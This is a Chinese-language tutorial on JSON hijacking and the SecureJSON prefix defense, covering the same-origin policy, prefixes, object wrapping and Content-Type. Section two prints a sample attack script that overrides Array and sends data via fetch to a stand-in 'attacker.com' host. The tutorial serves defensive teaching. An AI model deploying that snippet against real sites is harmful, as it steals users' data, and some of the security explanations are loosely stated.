一、先理解基本概念
同源策略(Same-Origin Policy)
浏览器的一个核心安全机制,限制不同源的脚本互相访问数据。- “同源”定义:协议、域名、端口完全一致。
- 作用:防止恶意网站通过脚本窃取其他网站的数据(如 Cookie、敏感信息)。
JSON 劫持(JSON Hijacking)
一种攻击手段,攻击者通过恶意脚本窃取网站返回的 JSON 数据。- 常见场景:JSON 数据通过
<script>
标签加载(跨域请求),且返回的是数组格式(如[{"id": 1}]
)。 - 攻击原理:利用浏览器特性(如覆盖 JavaScript 内置对象的原型方法),在数据加载时窃取内容。
- 常见场景:JSON 数据通过
二、JSON 劫持如何绕过同源策略?
虽然同源策略限制了跨域脚本直接读取响应内容,但以下方式可能被利用:
<script>
标签的跨域特性
浏览器允许通过<script src="...">
加载跨域脚本,但默认无法直接读取响应内容。覆盖 JavaScript 内置对象
攻击者可以覆盖Array
构造函数或Object.defineProperty
,在 JSON 数据解析时触发恶意代码。示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<script>
// 恶意网站覆盖 Array 构造函数
var originalArray = Array;
Array = function() {
var arr = new originalArray();
arr.push = function(value) {
// 窃取数据并发送到攻击者服务器
fetch('https://attacker.com?data=' + value);
return originalArray.prototype.push.call(this, value);
};
return arr;
};
</script>
<!-- 加载目标网站的 JSON 数据 -->
<script src="https://victim.com/data.json"></script>如果
data.json
返回[{"id": 1}]
,浏览器会将其解析为数组,触发被覆盖的Array
构造函数,导致数据泄露。
三、SecureJSON 如何防御 JSON 劫持?
SecureJSON 的核心思想是破坏 JSON 数据的直接解析,使其无法被攻击者利用。以下是具体手段:
1. 添加无害前缀
服务器在返回 JSON 数据前,添加一段无法被 JavaScript 直接解析的前缀。
示例:
1
2)]}'
{"id": 1}作用:当浏览器通过
<script>
标签加载此数据时,前缀会导致语法错误,阻止后续脚本执行。
2. 强制非数组格式
将 JSON 数据包装为非数组形式(如对象),避免触发 Array
构造函数。
示例:
1
{"data": [{"id": 1}]}
作用:攻击者需要访问
data
属性才能获取数组,而由于同源策略限制,跨域脚本无法直接读取对象的属性。
3. 结合内容类型(Content-Type)
服务器设置响应头 Content-Type: application/json
,明确告知浏览器这是 JSON 数据(而非可执行的 JavaScript)。
- 现代浏览器:会拒绝通过
<script>
标签执行非application/javascript
类型的内容。
四、SecureJSON 防御流程
攻击者尝试通过
<script>
加载 JSON 数据1
<script src="https://victim.com/data.json"></script>
服务器返回 SecureJSON 格式数据
1
2)]}'
{"data": [{"id": 1}]}浏览器解析失败
- 前缀
)]}'
导致语法错误,后续数据无法执行。 - 即使攻击者尝试覆盖内置对象,也无法触发恶意代码。
- 前缀
合法前端代码处理 SecureJSON
前端需要手动移除前缀并解析 JSON:
1
2
3fetch('https://victim.com/data.json')
.then(response => response.text())
.then(text => JSON.parse(text.replace(/^\)\]\}'/, '')));关键点:只有合法前端知道如何处理 SecureJSON 格式,攻击者无法利用自动解析机制。
五、同源策略的补充作用
- 限制跨域数据读取:即使攻击者绕过 SecureJSON,同源策略仍会阻止恶意脚本直接读取响应内容。
- CORS(跨域资源共享):现代浏览器通过 CORS 进一步限制跨域请求,要求服务器显式允许跨域访问。
六、总结
SecureJSON 通过以下方式防止 JSON 劫持:
- 破坏直接解析:添加前缀或包装数据,使恶意脚本无法自动触发解析。
- 依赖同源策略:结合浏览器安全机制,阻止跨域脚本读取数据。
- 强制合法前端处理:只有已知的前端代码能正确处理 SecureJSON 格式。
这种方法在兼容旧浏览器的同时,有效防御了 JSON 劫持攻击,是 Web 安全中一种经典的“无害化”设计思路。